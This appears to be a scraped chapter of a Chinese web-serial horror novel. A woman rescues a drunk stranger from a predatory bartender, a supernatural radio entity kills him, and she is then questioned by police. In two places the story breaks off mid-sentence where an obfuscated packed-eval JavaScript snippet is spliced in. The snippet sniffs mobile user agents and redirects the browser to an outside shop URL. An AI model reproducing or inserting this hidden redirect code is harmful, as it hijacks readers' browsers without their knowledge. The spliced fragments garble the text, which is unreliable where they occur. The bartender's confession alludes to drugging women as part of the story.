《午夜不要听电台》 1. 酒液 救护车和警车几乎是同时从津口市的那条主干道上掠过去的,红蓝交错的灯光隔着玻璃门一下一下地刮在人眼底。不祥的警报声被酒吧里轰鸣的音响吞掉了大半,只剩一点模糊的尖啸,从门缝里钻进来。 祝好歌坐在吧台最边上的高脚凳上,手边那杯威士忌几乎没动。她不喜欢这种地方。 这里污浊的空气混着酒精、香水和某种甜得发腻的电子烟味道,头顶旋转的灯球把蓝光、红光、紫光一层层地刷在人脸上,把所有人都照得不像活人。舞池中央的人挤成一团,身体贴着身体,恨不得像一锅里煮烂了的东西似的纠缠在一起。 可是这种地方是最合适的所在,她必须来这里,这是她的经验。 她听到有人在讨论外面警车的事情,言语之间也议论了几句近些时候发生的治安案件。她的耳朵微微一动,又注意到身后传来男调酒师的声音,懒洋洋的,带着一种自以为风趣的油滑。 “...你看,就是这个新闻。天哪,高速上撞成那样,啧,车都快压扁了。”他说话的时候口水音很重,舌头在牙齿之间搅来搅去的,收起来才展示过血腥现场画面的手机,他继续擦杯子,“现在这些人真是不要命,开车还分神,手机都恨不得长脸上。说真的,这年头还有什么比命更重要?” 他对面的女人在坐下没多久就被问出来名字叫艾珂,她正端着一杯颜色鲜艳的鸡尾酒,眼线拉得很长,睫毛浓得像两把小扇子。她的手一直在抖,好几次让酒液从嘴唇边上溢出,呛得她咳嗽不止。她倒没立刻接话,只是先垂着眼把那杯酒一口口地抿下去。 调酒师把她的情况收在眼底,笑得暧昧,故意把话题往某个方向带:“不过也难说,说不定人家那么急着回家,是老婆在背后偷人呢?这年头男人日子可不好过啊。” 听到这话,艾珂被针扎了一下似的啪地把杯子往桌上一拍,酒液晃出来一点,顺着杯壁流到她手指上。 “男人都该死。”她说,声音很大,咬字也很重,“男的没一个好东西。” 周围的人纷纷侧目,离她远了一点,调酒师一边装作熟人帮着她给其她人道歉,一边又将肩膀一耸,整个上半身微微趴在吧台上,软着语气哄着艾珂道:“行行行,你说得对。男人确实没什么好东西,还是得擦亮眼睛才行啊。” 闻言,祝好歌微微侧过头,看了过去。 这叫艾珂的女人年纪不大,大概二十七八,穿的是一条贴身的黑色吊带裙,外面搭了件明显是临出门时才匆匆套上的短外套,鞋跟恨天高,没有什么穿过的痕迹,脚踝后面已经被磨红了一小块。她耳朵上挂着两只很夸张的银色耳环,和脖子上那条廉价却用心挑过的锁骨链搭在一起,很努力地要拼凑一种“今晚我要艳压全场”的效果。 可她明显并不熟悉这里。她的坐姿有点僵硬,也不太懂酒,调酒师给她调什么,她就喝什么,不讲究方法,每次有人从她身边经过,她的肩膀都会轻轻绷一下,像在提防碰触,又像在期待有人来搭讪。 她在很努力地扮演一个会来酒吧找乐子的女人。 祝好歌的目光落到她手机上。女人每隔一会儿就会拿起来看一眼,屏幕亮起时映出一长串置顶聊天框。她手指停在最上面那个联系人上,点进去,停顿几秒,又退出来。消息框空空荡荡,没有新回复。她抿一下唇,把手机倒扣在桌上,隔不到两分钟,又忍不住翻回来。 毋庸置疑,她失恋了,或者更糟一点——她被甩得很难看。且分手时间不会太久,多半就在这两天。 祝好歌没再看她,而是看向那个调酒师。 男人也才二十来岁,头发抓得很精致,也涂抹了化妆品。袖口卷到手肘,露出手臂上半截近乎是花臂一样的纹身——甚至不是原创的图案,这说明他的文化水平和审美趣味都不高。他调的酒也就一般,但是他和女顾客调情确是专业的。先附和,再逗笑,再试探边界,最后卖个乖讨个巧,把那些本来心理状态就不稳的落单女人捞进网里。 这个女人显然已经落进去了。她嘴上说着男人都该死,这不过是卖着嗲的嗔怪,在调酒师每次低头靠近时,她都下意识地把身体往那边偏一点。 祝好歌垂下眼,指尖轻轻敲了一下杯壁,冰块发出一声清脆的碰响。 这里会出事。祝好歌已经确信无疑。 她等着,一直坐到了酒吧快打烊。 人群像退潮一样慢慢散去,舞池里的音乐音量终于被调低,原本震得人胸口发闷的鼓点只剩下一层匮乏的回响,地面上散着被踩扁的纸巾和快要混成泥浆的酒水,吧台后面的灯也关了几盏,只留下几束偏暗的蓝紫色光,打在吧台这边。 除了祝好歌,就只剩下艾珂。 这位在一小时前就开始趴在吧台上断断续续地哭,哭完了又抬起头来,顶着花掉的眼妆,红着鼻尖,一遍又一遍地把那段爱情故事说给调酒师听。 前男友和她谈了三年,都到了要“定”下来的时候了,她才发现对方所谓的忙只是借口,他分明是一直在和另一个女人暧昧,甚至连她精心挑的纪念日餐厅都带那个人去过。她说到一半时总会突然停下来,盯着酒杯发呆,像是自己也不明白怎么会变成这样;过几分钟又会重新开始,从“其实他以前不是这样的”讲回“是不是我真的不够好”。 没有人真正想听,调酒师当然更懒得听这些千篇一律的事迹,但是他有的是不想放弃猎物的耐心。 比起艾珂,旁边的祝好歌才真正让他不爽。 这女的怎么还不走? 服务员走过去,脸上挂着因疲惫而礼貌到有些僵硬的笑:“不好意思小姐,我们要打烊了。” 祝好歌抬起眼,淡淡地看着她,一动不动。 见祝好歌这样,服务员的眼睛微斜,瞟了下那个醉女人,显然不太想插手进这个麻烦里,可她大概也是见惯了这种情况,心里不想一味地帮着她老板——也就是调酒师,纠结之下还是隐晦地暗示道:“您别为难我,您看您朋友都醉了...” “她不是——”吧台后面的调酒师下意识开口,话还没说完,祝好歌已经接收信号,伸手一把揽住了艾珂的肩膀,把她半抱进自己怀里。 艾珂身上的酒气重到发臭,整个人软得没骨头似的。她头一歪,额头直接抵到了祝好歌肩上,居然真的停下哭啼,反手紧紧抱住了祝好歌。 祝好歌不习惯被这样抱住,但都已经这样了,她也就任由其行动,扭头平静地对调酒师说:“我和她是朋友。如果她要走,我会陪她一起。” 服务员假装没看到调酒师的眼刀,尴尬地走开,至于后者,此时终于绷不住,抬脚走了过来。他脸上的笑早都挂不住了,但还是尽量维持着体面:“姐,都是出来玩的,没必要这样吧?” 懒得理他,祝好歌只低头把女人手里那个空了的杯子抽走,放到一边。 见她不接茬,调酒师只能忍着脾气继续:“你看,我今晚陪‘你朋友’聊了一晚上,也给她买了不少酒——这...不能让我白花不是?而且她是自己愿意留到现在的,咱们成年人,很多事本来就是你情我愿。” “你情我愿?”祝好歌打断了他,眼神上下扫视着调酒师。 这眼神空洞得很,让调酒师心里一沉,下意识看向她露在短袖外面的手臂。这女的骨架很大,肩背在挺直时哪怕坐着都显得压人,手臂线条也结实得很明显,不是健身房里傻练出来的那种空架子...难道她学过格斗? 嘴里那些想威胁的话在舌尖滚了一圈,他到底没敢吐出来,只能把话放得更低声下气地商量:“你说这事闹得…我也没想干什么,就是看她心情不好,陪她说说话。你要是真认识她,那你早点带她走不就完了?现在人都喝成这样了,你突然横插一杠,不也挺不合适的吗?” 祝好歌看着他,神情之变化让调酒师心里打了个怵,只听她一字一句地说:“她已经降临在这座城市。如果你不真心悔改的话,你也会死。” 这话太突兀了,调酒师先是没听懂,随即脸色一阵青一阵白,最后只当自己倒楣,碰上了个脑子不正常还爱管闲事的女|权疯子。他咬着后槽牙,挤出一个比哭还难看的笑:“行,今天不做你们生意了。走吧,赶紧走。” 祝好歌没再和他废话,直接把艾珂扶了起来。 这家伙已经醉得脚下发软,嘴里还在含含糊糊地骂前男友,一口一个老公一会儿又变成渣男,眼泪鼻涕蹭花了半张脸。祝好歌把她半拖半抱地带出酒吧,夜风一吹,艾珂哇地一下扶着路边垃圾桶吐了出来。 站在旁边耐心地等她吐完,祝好歌才板着脸从她包里摸出手机,靠着她的指纹解锁,把通讯录翻了一遍,终于在一堆置顶聊天里找到一个聊天记录里一直在骂她的联系人。 对面接得很快,先是一句阴阳怪气:“哟,又想到我了?说吧,你真去找他下跪了?!” 祝好歌言简意赅地报了地址:“她喝醉了,你来接她。” 半小时后,一个穿着宽大卫衣杀气腾腾的女孩打车赶来,一见面先冲过来把人从祝好歌手里接过去,嘴上骂得凶,动作却小心得很,一边给醉鬼披外套一边替她擦脸。等弄清楚情况后,她看祝好歌的眼神里明显多了点复杂的感激和后怕。 “谢谢。”她顿了顿,又忍不住补了一句,“我都跟她说过这种地方不能一个人来,真要是想发泄一下好歹叫我们一声,可她偏不听。” 祝好歌点了点头,没说什么,只帮着她把人塞进车里,确认对方会直接把艾珂送回家后,才退开一步。 车门关上,出租车汇入夜色,尾灯很快消失在街角。 整条街忽然安静了下来。 祝好歌站在原地,夜风从她耳边吹过去,带起额前的碎发。她的脸色却没有因为至少这个糊涂的女人被安全带走而松下来半分,反而比在酒吧里时更冷了一些。她回头看了一眼那间已经熄了大半灯的酒吧,神色不明。 事情还没有结束。 ** 调酒师把升降式防盗门窗按下来时,心情已经差到了极点。 他低声骂了一句,把钥匙往吧台上一丢,发出“叮”的一声脆响。 今晚本来是十拿九稳的一“单”。 那女的从进门起就写着“今晚很脆弱”几个字,脸上更是化着那种恨不得把自己全然展示出来好被挑选走的浓妆,酒量这么差还非要喝酒,嘴上骂男人骂得越狠越说明心里正缺一个“好男人”。 这种蠢货女人太多了,他知道怎么去玩儿她们。今晚的流程明明走得都差不多了,他都慢慢让她觉得“至少还有你懂我”,照这个进度,等她彻底喝到站不稳,自己只要说一句“我送你回去吧”,后面自然水到渠成。 结果半路杀出来个多管闲事的。 他越想越窝火,拉开冰柜,从里面拿出一罐最便宜的预调鸡尾酒,“啪”地一声扯开拉环,仰头就灌。廉价酒精带着些甜得发苦的果味,一路烧进胃里,他却越喝越烦,脑子里反复都是祝好歌那张冷冰冰的脸。 那女的明明早就在旁边听她俩说话。 如果她真是什么“护花使者”,怎么不早点把人带走?偏偏要等到自己都觉得今晚已经“办妥”了,她才突然跳出来装正义。说白了不就是恶心人吗?最烦这种自以为高人一等的女人,在网上舞得跟什么似的就算了,现实里还这样爱多管闲事、见不得男人顺心。 他越想越觉得可笑。 说不定那个高个子女的跟自己压根是一路货色,只不过是想把那醉鬼抢回去自己玩。现在这些所谓的女|权不也一个个嘴上讲平等,背地里脏得很。 想到这儿,他突然想起前阵子被女|权骂上热搜的那个博客APP。那几天他刷短视频时总能看到切片,几个男主播在里面聊得又骚又冲,评论区更是一堆男同胞报团取暖,把那些骂他们的女|权喷得狗血淋头。他当时看得可太爽了,觉得总算有人把平时不敢明说的话都说出来了,这还不赶紧来支持兄弟们一下? 于是他拿起手机,顺手就把那个APP下了。 可真点进去后,他很快就觉得没劲。几个男主播声音都差不多,装腔作势地聊着什么“男女博弈”,要么就是吹牛侃大山,听久了只让人犯困。他本来也没有听播客的习惯,耳机塞了一会儿就烦躁起来,干脆开始胡乱滑动界面,试着调频道,想找个声音带劲一点的女主播来听。 “反正有的是女的想赚男人的钱...”他嘟囔着,指尖漫不经心地在屏幕上划了一下,下一秒,耳机里猛地炸开一阵刺耳的电流声。 “滋——” 那声音尖得像针,直刺进耳朵里,酥酥麻麻的痛感啃噬着耳膜。他皱着眉调小声音,正想退出,电流声里却慢慢浮出一个女人的声音。 那声音很怪。 说不上好听,甚至有点沙有点哑,她还有着些奇怪的口音,这是哪里人啊...还真是辨别不出来。 “…喂?” 为了陪艾珂,调酒师晚上也喝了不少,刚刚又灌了几大杯酒,现下已经很醉了,脑子正发沉,眼前的灯光都晕成一圈一圈的光斑。他没太听清这女主播前面说了什么,只隐约觉得,对方是在叫他。 “…陈远。” 他愣了一下,这不是他的名字吗? 他直起身,醉意让他的反应慢了半拍,脸上却下意识露出一种男人听到陌生女人居然叫自己名字时那种得到了关注而来的本能的得意:“你是谁啊?”他已经忘了自己是在听电台了。 耳机里静了两秒。 然后,那女人就像贴着他耳朵笑了一声似的说:“我看你是一个很会说故事的人,那你怎能不把你的故事说出来呢?” 陈远心口莫名一热,甚至下意识往空荡荡的酒吧里左右看了一眼,想找到是不是有人躲在暗处和他说话。他晃了晃头,竟然真的伸出手,朝着声音传来的方向抓了一下。 什么也没抓到,只有一片空荡荡的空气。 他有点恼,酒劲上头,脾气也跟着浮起来:“你谁啊?装神弄鬼有意思吗?” 对方没回答,只是很耐心地用那喉音极重的口音继续问:“你是不是总这样?看着她们哭,然后用你独一无二的本事去耍弄她们?” 陈远嗤了一声,酒精和被拦下的恼火感一起往上冲,反而让他生出一种炫耀的冲动。他靠在吧台边,扯松领口,对着手机笑得又轻佻又恶心:“那又怎么了?她们自己蠢,别人说什么就信什么。你情我愿的事,谁逼她们了?” 女人像是很感兴趣,轻轻“嗯”了一声。 “说给我听听呀。”她说,“来告诉大家,你是怎么让她们上钩的。” “大家?”陈远只短暂地感到一点点的不对劲,可是嘴巴一张就收不住了。 他说自己怎么判断哪些女人好下手,怎么从穿着、表情和点单时的生涩看出对方是不是刚失恋、是不是第一次来酒吧、是不是今晚特别需要有人陪等等;说自己怎么故意在超过比例的烈酒里多加上一些糖浆,好去不知不觉地灌醉她们,有时还会加点“料”;他如何懂得要怎么装得像个体贴的倾听者,又怎样暗戳戳通过小事的刺痛来操控对方的情绪... 他侃侃而谈,手舞足蹈地指向店里的摄像头,脑子里想到的则是自己的屋子,这简直是他一生的荣耀——他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459171|201266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就这样让那些被他“捡尸”的女人,连报警都不敢。 “她们这些女的啊,最会装清高。”他嘿嘿笑着,酒气从齿缝里喷出来,“嘴上说不要,心里其实都…” 他的话突然卡住了。因为就在那一瞬间,他闻到了一股很甜的味道。 他像狗一样耸动着鼻子,循着味道去找,他的视野里一片模糊,可是那绝对不是酒,也不会是吧台上残留的果汁糖浆,这是一种过于熟烂、甜到发腻、甚至开始发酸的果香。 想起来了。之前店庆休息时,冷库被不知道谁给断了电,一大箱的鲜榨苹果汁都被捂坏了。等到他度假回来,冷库里已经被腐坏的果汁炸了个透,到处都爬满了蛆。 他皱起眉,抬起头,酒吧里原本昏暗的灯不知什么时候全灭了。 那是...一个女人。 陈远走上前去,他的心痒痒的,对...今晚,他本就该有一个女人陪着的。 男人的脑子早就被酒精泡得发胀,恐惧和欲念混成了一团黏糊糊的浆糊。他几乎是撞上去的。 双臂猛地收拢时,他确实抱住了她。 那触感冰凉、坚硬,却在最初的一瞬间,被他醉得发烫的神经习惯性错误地理解成了某种他所接触过的女人特有的僵硬和顺从。他迫不及待地把脸埋过去,嘴唇和牙齿胡乱地在对方的身体上磨蹭、啃咬,喉咙里甚至发出几声满足又下流的喘笑。 可是很快,滚烫的、咸腥的、活物被生生撕开时才会涌出来的那种血腥味在他唇齿间炸开。 陈远动作一顿,醉意像被一盆冰水兜头浇了下来。他愣了足足半秒,舌尖本能地舔了一下嘴角,尝到更多黏稠温热的液体后,整个人骤然僵住。 他慢慢抬起头,这才看见自己正抱着一面镜子。 他的双臂死死箍着酒吧尽头那面装饰镜,镜面已经被他撞出了一片蛛网状的裂纹,锋利的玻璃边缘深深嵌进他的脸颊、嘴唇和下巴,鲜血正顺着那些裂口汩汩往下流,流进他张开的嘴里。 而镜子里—— 那里的“陈远”正和他保持着完全一致的姿势,脸几乎贴着脸,嘴唇也血肉模糊。可那东西并不是在“拥抱”他。 镜中的陈远,正张着一张已经裂到耳后的嘴,像野兽一样,一口一口地啃噬着他的脸。 那张脸明明和他一模一样,眼里却没有半点人气,只有一种湿漉漉的、饥饿的、近乎快活的贪婪。 它的牙齿在血肉间摩擦,发出细细的、令人牙酸的指甲剐蹭亮面的噪音,鲜血喷溅在镜面上,又顺着裂纹缓缓流下,像有人在玻璃后面慢慢啃一颗熟透烂开的果子。 “啊——!!!”陈远终于爆发出一声不成调的惨叫,整个人疯了一样往后退。他用尽全身力气把自己从镜面上撕下来,带起一大片皮肉,嘴唇边缘和脸颊被玻璃活生生豁开,鲜血糊了满脸,连眼睛都睁不开。 他跌坐在地上,双手拼命乱摸,摸到满手温热黏腻的血。□□里忽然传来一阵滚烫潮湿的热意——他吓得失禁了。 浓重的尿骚味混在血腥和酒气里,恶心得他自己都想吐。 他浑身抖得像筛子,几乎不敢再抬头去看那面镜子。可就在这时,酒吧里忽然响起了一阵极轻、极密的嗡鸣。 “嗡……” “嗡——” 那声音最初很轻,像是谁把手机开了震动丢在桌面上。可下一秒,整整一排酒瓶都开始同时颤动起来。 吧台后的玻璃酒瓶一瓶接一瓶地震颤,瓶身互相碰撞,发出密密麻麻的脆响。那些为了格调而特意选用的器型不一的瓶子同时被某种看不见的东西唤醒了似的,嗡鸣声越来越大,越来越密,最后几乎震得人耳膜发疼。 陈远看不清楚,听觉就敏锐起来,手脚并用地往后爬,喉咙里只剩下破碎的气音。 第一只酒瓶炸开了。 “砰!” 玻璃碎片飞溅而出,紧接着是第二只、第三只、第四只——整整一排酒瓶接连爆裂,红的、黄的、透明的酒液从吧台上倾泻而下,像无数条从巢穴中同时钻出的蛇,顺着桌角、椅脚和地砖的缝隙蜿蜒爬来。 陈远本能地意识到了不对,想爬起来跑,可酒液已经率先缠上了他的鞋尖,冰冷黏滑地一路往上爬,像蛇腹摩擦皮肤般激起一阵令人头皮发麻的触感。他发疯一样甩腿和拍打,酒液毕竟是液体,只越缠越紧,很快就顺着裤脚和衣摆爬满了他的全身,紧紧贴住他,像无数条没有骨头的舌头。 “滚开!滚开!!”他崩溃地尖叫着,用手去抠、去扯,可那些酒液根本抓不住,反而在他每一次挣扎时更快地滑向那些柔软脆弱的地方。 冰凉的液体钻进了他的鼻孔。陈远猛地一呛,整张脸瞬间涨红。他拼命甩头,鼻腔里却立刻涌入更多,沿着鼻道钻进喉咙深处。紧接着是耳朵,然后是嘴。 酒液从他因为尖叫而张开的口中猛地灌进去,带着甜得发腐的果香和高浓度酒精的刺辣,硬生生撑开他的喉咙。陈远呛得眼泪鼻涕一起往外涌,胃里一阵翻江倒海,却连呕吐都来不及,更多液体已经顺着口腔、鼻腔和耳道疯狂灌入。 它们甚至顺着他的伤口往里钻。 那些被镜子割开的裂口像一张张小嘴,酒液贪婪地从每一道破口中渗进去,陈远已经发不出声音了,双手疯狂抓挠着自己的脸和脖子,把本就血肉模糊的皮肤挠得更加稀烂。 可无论他怎么挣扎,那些液体都没有停。 镜子里,那个满脸是血的“陈远”还在看着他。 它嘴角高高扬起,像在欣赏一场极精彩的表演。那张和他一模一样的脸上沾满血,眼睛却亮得惊人,亮得像某种深夜里会发光的野兽。它甚至慢慢抬起一只手,贴上镜面,指尖和他惊恐扭曲的脸只隔着一道布满裂痕的玻璃。 然后,在那张属于陈远的脸后,一双赤红色的瞳孔缓缓浮现出来,紧接着是一张女人的脸。 她站在镜中的黑暗深处,穿着花花绿绿的睡袍,艳得俗气。 “怎么会这样怕呢?”她轻轻叹息,像真心在替他惋惜,“不是最喜欢看她们神志不清、哭着求饶的样子吗?” 陈远的眼球因为缺氧和惊惧而一点点凸起,整张脸紫胀发黑,喉咙里只能发出咕噜咕噜的、濒死的水声。 “去吃吧。”她说,镜中那个“陈远”忽然猛地扑了上去,化作万千只洁白的鸽子破镜而出,飞往酒泊之中的陈远。 顷刻之间,男人变成一滩血水,鸽子也在吃饱后合为一只巨鸟,却如饮鸩毒般地抽搐几下再直挺挺地倒在血泊里。 女人满意地点点头,张开了嘴。 她的唇角像裂开的果皮一样一路咧到耳后,口腔深处有着一圈圈湿亮、细密、层层向内收拢的尖齿。她将死鸟一口吞下,打了个饱嗝。 摸着肚子,女人百无聊赖地在酒吧里逛了一圈,总算是找到了有趣的东西——一串漂亮的男士手表,表盘上镶嵌了许多碎钻。 “嗯,亮亮的,喜欢。”女人说。 ** 在外面眼巴巴地等了几个小时的祝好歌突然意识到,这个调酒师就是店长,他家可能和店面都是连接着的。 坏了! 她一脚踹开本来就没锁的酒吧员工通道后门,走进去后一眼就看到吧台前倒着的那一具冰冷僵硬的尸体。 那个叫陈远的调酒师双眼圆睁,嘴巴大张,像是死前拼命想呕出什么,喉咙和食道却被高浓度酒精严重灼伤,肺里也全是液体,几乎像是被活活灌死的。 来晚了。 祝好歌咬紧牙关。 洪!猓! 我会找到你的! 2. 洪猓 “也就是说,”中年男警把笔往桌上一搁,经过好几轮的问询,他的语气里已经隐隐有些不耐烦,“昨晚你只是恰好在酒吧,恰好觉得那个陈远不对劲,恰好把那个喝醉的女的带走了,然后今天早上又恰好成了第一目击者?” 祝好歌没说话。 天已经彻底亮了,灰白色的天光就这样穿过走廊尽头的玻璃门照进来,把这里照得发冷。空气里有股淡淡的消毒水味,夹杂着隔夜没散尽的烟味和办公用纸味,以及某种公家单位特有的陈旧气息。 祝好歌坐在塑料椅上,身上那件昨晚穿去酒吧的短袖已经有些皱了,袖口和肩头还沾着一点被艾珂蹭上的粉底印。从昨夜到现在,一直没有睡觉的她整个人看起来依旧很平静,像这里所有的打量和试探都和她无关。 男警看了她一眼,抖着腿又低头去看材料。 陈远的死因其实没什么疑点。酒吧的监控拍得很清楚:他一个人留在店里喝酒,喝得歪歪倒倒,后来不知道发什么疯,先是扑向了那面装饰镜,整个人撞得满脸是血,接着又踉踉跄跄去扶吧台,结果把后面整排酒瓶带倒了,玻璃砸落下来,他自己也踩着酒液摔倒在地,最后挣扎了几下,没再起来。 不管怎么看都只是一起荒唐又狼狈的醉酒意外。唯一奇怪的,一来是陈远的家人说他丢了块儿名贵的表,二来就是祝好歌。 这个没有正经职业的四处流浪的女人,前一晚在酒吧里的行为实在太突兀了,她强行闯进酒吧样子就像早就知道陈远会出事似的。当然,监控也没有拍到她抢劫了陈远。 “我再问一遍。”男警把身体往前压了压,试图从气势上去威吓祝好歌,“你要是和陈宇的死无关,为什么要报警?” 听到这种话,祝好歌皱着眉忍不住笑了一下。 “严肃点儿!”男警嚷道。 祝好歌又不动作了。 男警的脸色一下子难看起来。这种人他见得可多了,好像自己知道点什么了不得的内情,问浅了不回答,问重了又一副“你们根本不懂”的样子,最让人窝火。 他想起祝好歌的身份信息,用尖锐的语气挖苦道:“你是国大的毕业生,怎么不去上班,反而到处跑呢?你家人全死了,要是知道你还在到处用她们的钱这样浪费生命惹是生非,她们不得气得冒烟吗?” “我在做你们做不到的事情,”祝好歌的直直地盯着男警,“至于我的家人,不如你帮我去问问她们在意不在意这些事。” “你这小丫头,什么态度!”男警气得不行,敲着桌面冷声提醒她,防碍调查也会给自己惹麻烦。 可惜祝好歌不吃他这一套,而他先前闹脾气说的那些话也足够祝好歌去投诉他了,正懊悔失言的男警也只能把笔帽重重一扣,气呼呼地把记录本合上:“行,那你先走。有事再联系你。” 祝好歌站起身的时候,神情依然平静,好像刚刚情绪外露了一瞬的那个人不是她一样。 送她出去的是一直陪同男警学习工作的年轻女警,胸牌上写着“卫帆”两个字。她年纪很轻,头发扎得紧紧的,制服穿在身上十分利落。她应该刚入职不久,正在见习中,走路时脊背挺得笔直,眼神亮亮亮的,没有那种在基层机关里待久了的人身上常见的疲惫和麻木。 “你别太往心里去。”走出问询室后,卫帆对她笑了笑,声音压得很轻,“第一次碰到这种事,谁都会不舒服的。而且你昨晚也算…见义勇为了,真是很厉害。” 祝好歌侧头看了她一眼。 见这位巍然不动的女人还是没什么反应,卫帆反倒有点不好意思地笑了:“其实这些不该和你说的,不过我们后来查了监控,看到你把那个女孩子带走了。做得挺好的,真的。要不是你在,她昨晚大概率要出事。” 说到这里,她又下意识地往四周看了一眼,确认没人注意这边,才凑近了些,压低声音道:“而且说实话,这个陈远…这样死掉,也算遭报应了。” 大步流星往外走的祝好歌脚步微微一顿。 卫帆轻轻抿了下唇,像是有些犹豫,但还是继续说了下去:“他以前就被一些女孩举报过猥亵,有的是喝醉以后被他动手动脚,有的是第二天醒来觉得不对劲,可又说不清楚到底发生了什么。反正…名声一直不好。只是这种案子,唉。” 她说到这里,脸上露出一种年轻人特有的带着愤懑的无奈来。她真心觉得不平,却又清楚自己做不了什么。 本来在安静听着的祝好歌,忽然伸出手,一把抓住了她的手腕。 卫帆愣了一下。 祝好歌的手很稳,也很有力,整个手心都是热热的。她盯着卫帆,一字一句地问:“既然警方知道他劣迹斑斑,为什么不作为?” 这让本来还在笑的卫帆脸上的神情一下子僵住了。 “我…”她本能地想解释,“因为没有足够的证据。很多受害人都——” “恐怕不是证据不足。”祝好歌直接打断了她。 “是执法者自己选择性纵容。”她看着卫帆逐渐发白的脸,“即便没有足够的直接证据,在遭到多次举报以后,也理应做一些处理。哪怕只是备案和增加巡查频率,或者派便衣去他的酒吧蹲守一段时间,甚至干脆多做一些安全宣传,也能有效地制止一些事情,可你们没有。” 张了张嘴,卫帆没发出声音。 “因为这么做麻烦。”祝好歌继续说,好像把刚才压抑的那些情绪全爆发了出来,“因为管了就要承担责任,要解释为什么动用警力盯一个没有被正式定罪的人。于是最省事的办法,就变成了让受害者自己闭嘴。” 走廊里安静得厉害,远处有人推着文件车经过,轮子压过地面的声音空空地传过来,又很快消失。 卫帆的脸一点点涨红了。她当然知道祝好歌说的并不全是错的,甚至可以说,大部分都正中要害。她在学校里学过的那些法理和程序正义,入职后却很快发现,实际操作却并不是书本上写的那样。 尤其是这种暧昧不清难留证据的案子,基层最怕沾手。尤其是上了年纪的男警,他们自身就有很强的局限性,遇到这种事总是往往一句“那你为什么要去那种地方喝这么多酒”就把事情堵回去。 最让人难受的是,这些男警在其它地方甚至也是好警察,却在这种事情里习惯成自然,在可能惹出风波前先按住最弱的那一方。 毕竟,这里一直是个谁闹谁有理、谁豁得出去谁占上风的地方。 真要较真,万一没查出个结果,上头问责怎么办?酒吧老板投诉怎么办?舆情失控怎么办?相比之下,让那些本来就羞于开口、又不敢把事情闹大的女孩自己退缩,简直是最快捷也最“安全”的解决方式。 被这样当面点出来,纵然卫帆不是其中的一员,她也觉得自己是其中的默认者,耳根都羞得红透了,半晌才低声道:“…对不起。” “...我也对不起。”祝好歌说。 她的手终于松开了,垂下眼,神色里第一次露出了一点清晰的疲惫。 “抱歉。”她低低地说,“我不是想指责你。” 祝好歌苦笑了一声,笑意很淡,也很短,错觉一样一闪而过:“我只是已经对这些人彻底失望了。你刚才说那些话的时候,我发现你还是个能讲道理的人,所以就一股脑地全说出来了。” 她停顿了一下,像是忽然意识到什么,轻声补了一句,自嘲道:“这样想来,我何尝不是挑软柿子捏呢?” 听她这样说,卫帆原本绷紧的肩膀慢慢松了些。 看着眼前这个高大沉默的女人,卫帆忽然觉得她并不像表面那样不可接近。相反,正因为太清楚很多事情是怎么坏掉的,她才会在看见一点点没坏透的地方时,忍不住把压在心里的失望都倒出来。 这下轮到卫帆再再反过来安慰她了,大大咧咧地笑道:“没事的,我明白。真的。我们也很欢迎像你这样的热心市民来检查我们工作,这样以后肯定会越来越好的!” 两人对视起来。 晨光落在卫帆年轻的脸上,这之上写满了理想,也还有一种相信事情不该这样的天真。 一个人是很难办成事的,如果可以,伙伴自然是越多越好。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459172|201266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >这一刻,祝好歌忽然做了一个决定。 “已经受到人世间法律制裁的人,不会被她盯上。”祝好歌突然开口。 眨了眨眼,卫帆明显没反应过来:“什么?” “大概是因为,她觉得那样的人已经索然无味了。”祝好歌继续说。 卫帆皱起眉:“到底是谁啊?” 没有立刻回答,祝好歌又拉起卫帆的手一直走到走廊尽头一扇半开的窗边。外面的风吹进来,带着一点城市清晨特有的凉意,也把远处车流的声音送得很清晰,屋内的人就更加听不到一点点她们对话的内容。 祝好歌转过身,微微低下头,凑近了些。这个距离已经越过了陌生人之间正常交谈的界限,卫帆也不觉得过界,只是紧张地屏住了呼吸。 “陈远不是意外死亡。”祝好歌说,“事实上这个城市最近发生的很多意外死亡、自杀,还有那些突发的精神病暴力事件,也都不是偶然。它们和一个叫洪猓的——‘人’,有关。” 啊?卫帆完全愣住了。 “洪…猓?”卫帆重复了一遍这个古怪的名字,确认了是哪两个字后还是一头雾水,“她是谁?” 祝好歌的眼神越过她,落向窗外某个很远的地方。“一个电台主播。”她说。 “电台?”卫帆更困惑了,“现在还有人听电台吗?” “有。”祝好歌淡淡道,“那些快要犯错的人会听见她。那些已经犯了错、却还以为自己没错的人,也会听见她。” 啊啊?卫帆觉得自己像是被突然推进了一层雾里,明明听得见每个字,却根本拼不出完整的意义。她是警察,虽然现在还是菜鸟一枚,但她也是学过很多案子的,自然也听过不少离奇古怪的说辞,可祝好歌现在说的东西仍旧超出了她的理解范围。 “你是说…陈远听了一个电台,然后死了?”她试图用自己还能理解的方式去归纳。 “不是听了电台以后死了。”祝好歌纠正她,“是被她盯上以后,才会听电台,然后死了。” “那她怎么做到的?电波控制?能从收音机爬出来的贞子?”卫帆问。 “我也不知道。”祝好歌说,“但是她的喜好很清楚。她喜欢酒的味道,喜欢拿走被她杀死之人的一些财物,至于她选择的那些人...她尤其喜欢那种没有受到惩罚、还活得很理直气壮的人,也就是陈远这种人。” 